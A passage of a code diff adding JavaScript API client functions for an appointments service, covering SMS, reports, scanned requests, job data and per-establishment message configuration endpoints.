const url = 'v3/establishments/' + establishmentId + '/appointments/sms';
|
214
|
+
const request = API.http.post(url, params, { headers: { 'Content-Type': 'application/json' } });
|
215
|
+
return API.handleError(request);
|
216
|
+
},
|
217
|
+
fetchScannedRequest(appointmentId) {
|
218
|
+
const url = 'v3/appointments/' + appointmentId + '/scannedRequest';
|
219
|
+
const request = API.http.get(url);
|
220
|
+
return API.handleError(request);
|
221
|
+
},
|
222
|
+
appointmentsReport(establishmentId, params) {
|
223
|
+
const url = `v3/establishments/${establishmentId}/appointments/report`;
|
224
|
+
const request = API.http.post(url, params, { headers: { 'Content-Type': 'application/json' } });
|
225
|
+
return API.handleError(request);
|
226
|
+
},
|
227
|
+
appointmentInfoFromJobId(jobId) {
|
228
|
+
let url = `v3/appointments/jobs/${jobId}/appt-data`;
|
229
|
+
const request = API.http.get(url);
|
230
|
+
return API.handleError(request);
|
231
|
+
},
|
232
|
+
jobControlInformation(jobId) {
|
233
|
+
let url = `v3/appointments/jobs/${jobId}/control`;
|
234
|
+
const request = API.http.get(url);
|
235
|
+
return API.handleError(request);
|
236
|
+
},
|
237
|
+
},
|
238
|
+
});
|
@@ -0,0 +1,16 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
export default (API) => ({
|
4
|
+
communications: {
|
5
|
+
getMessageConfigurationsByEstablishment: (establishmentId) => {
|
6
|
+
const url = 'v3/establishments/' + establishmentId + '/configuration/messages';
|
7
|
+
const request = API.http.get(url);
|
8
|
+
return API.handleError(request);
|
9
|
+
},
|
10
|
+
insertOrUpdateEstablishmentMessageConfigurations: (establishmentId, params) => {
|
11
|
+
const url = 'v3/establishments/' + establishmentId + '/configuration/messages';
|
12
|
+
const request = API.http.put(url, params, { headers: { 'Content-Type': 'application/json' } });
|
13
|
+
return API.handleError(request);
|
14
|
+
}
|
15
|
+
}
|
16
|
+
});
|